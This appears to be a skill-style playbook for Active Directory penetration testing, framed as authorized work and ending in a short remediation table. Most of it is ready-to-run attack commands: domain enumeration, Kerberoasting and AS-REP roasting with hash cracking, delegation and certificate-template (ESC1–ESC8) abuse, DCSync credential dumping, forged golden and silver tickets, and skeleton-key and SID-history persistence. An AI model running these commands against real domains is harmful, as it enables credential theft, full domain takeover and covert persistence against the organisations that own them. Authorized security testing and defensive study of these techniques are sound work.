performing-active-directory-penetration-test |…

Stats

Actions

Tags

performing-active-directory-penetration-test |…

Performing Active Directory Penetration Test

Overview

Active Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin.

When to Use

When conducting security assessments that involve performing active directory penetration test
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Standard domain user credentials (minimum starting point)
Network access to domain controllers (LDAP/389, Kerberos/88, SMB/445, DNS/53)
Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz
Kali Linux or Windows attack machine with domain access

Phase 1 — AD Enumeration

Domain Information Gathering

# Basic domain enumeration
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users

# LDAP enumeration — domain controllers
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
  -b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName

# Enumerate trust relationships
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts

# Enumerate domain password policy
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol

# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords

# Find computers with unconstrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
  -b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
  dNSHostName

# Find users with constrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
  -b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
  sAMAccountName msds-allowedtodelegateto

# Enumerate LAPS
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps

BloodHound Attack Path Analysis

# Collect all BloodHound data
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
  -ns 10.0.0.5 -c all --zip

# Alternative: SharpHound from Windows
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip

# Start BloodHound
sudo neo4j start
bloodhound --no-sandbox

# Key Cypher queries in BloodHound:
# - Shortest path to Domain Admin
# - Find Kerberoastable users
# - Find AS-REP Roastable users
# - Find users with DCSync rights
# - Find shortest path from owned principals
# - Find computers where Domain Users are local admin

Service Account Discovery

# Find service accounts with SPNs (Kerberoastable)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5

# Find accounts without Kerberos pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
  -dc-ip 10.0.0.5 -format hashcat

# Find managed service accounts
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
  sAMAccountName msDS-GroupMSAMembership

Phase 2 — Kerberos Attacks

Kerberoasting

# Extract TGS tickets for service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
  -outputfile kerberoast.txt -request

# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule --force

# Targeted Kerberoasting with Rubeus (Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt

AS-REP Roasting

# Target accounts without pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
  -outputfile asrep.txt -format hashcat

# Crack AS-REP hashes (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberos Delegation Attacks

# Unconstrained delegation — extract TGTs from memory
# If you compromise a host with unconstrained delegation:
.\Rubeus.exe monitor /interval:5 /nowrap
# Force authentication from DC using PrinterBug/SpoolSample
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>

# Constrained delegation — S4U abuse
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
  -dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/[email protected]' -k -no-pass

# Resource-Based Constrained Delegation (RBCD)
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
  -computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
  -dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
  -impersonate administrator -dc-ip 10.0.0.5

Phase 3 — ADCS (Active Directory Certificate Services) Attacks

# Enumerate ADCS with Certipy
certipy find -u '[email protected]' -p 'Password123' -dc-ip 10.0.0.5 \
  -vulnerable -stdout

# ESC1 — Vulnerable certificate template (enrollee can specify SAN)
certipy req -u '[email protected]' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template VulnerableWebServer -upn [email protected]

# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5

# ESC4 — Template ACL misconfiguration
# Modify template to enable ESC1 conditions, then exploit as above

# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA
certipy req -u '[email protected]' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template User -upn [email protected]

# ESC8 — NTLM relay to HTTP enrollment endpoint
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
  -template DomainController

Phase 4 — Domain Privilege Escalation

DCSync Attack

# DCSync — extract all domain hashes (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:[email protected]' -just-dc

# DCSync specific user
impacket-secretsdump 'corp.local/domainadmin:[email protected]' \
  -just-dc-user krbtgt

# With Mimikatz (Windows)
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt

Golden Ticket

# Create Golden Ticket (requires krbtgt hash and domain SID)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/[email protected]' -k -no-pass

# With Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
  /sid:S-1-5-21-... /krbtgt:<hash> /ptt

Silver Ticket

# Create Silver Ticket for specific service
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local -spn MSSQL/sqlserver.corp.local administrator

export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/[email protected]' -k -no-pass

Phase 5 — Persistence Demonstration

# Skeleton Key (inject into LSASS — authorized testing only)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# Now any user can authenticate with "mimikatz" as password

# AdminSDHolder persistence
# Add controlled user to AdminSDHolder ACL
# SDProp process propagates ACL to all protected groups every 60 minutes

# SID History injection
# Inject Domain Admin SID into low-privilege user's SID history

# Document all persistence mechanisms and clean up after testing

Findings and Remediation

Finding	CVSS	Remediation
Kerberoastable accounts with weak passwords	7.5	Use gMSA, enforce 25+ char passwords for service accounts
Unconstrained delegation on servers	8.1	Remove unconstrained delegation, use constrained or RBCD
Vulnerable ADCS templates (ESC1-ESC8)	9.8	Audit templates, remove dangerous permissions, require approval
DCSync permissions on non-DA accounts	9.8	Audit replication rights, implement tiered admin model
LLMNR/NBT-NS enabled	8.1	Disable via GPO
No LAPS deployed	7.2	Deploy Windows LAPS for local admin management
Weak domain password policy	6.5	Enforce 14+ chars, implement fine-grained password policies

References

BloodHound: https://github.com/BloodHoundAD/BloodHound
Impacket: https://github.com/fortra/impacket
Certipy: https://github.com/ly4k/Certipy
HackTricks AD: https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
SpecterOps AD Security: https://specterops.io/blog/
MITRE ATT&CK: https://attack.mitre.org/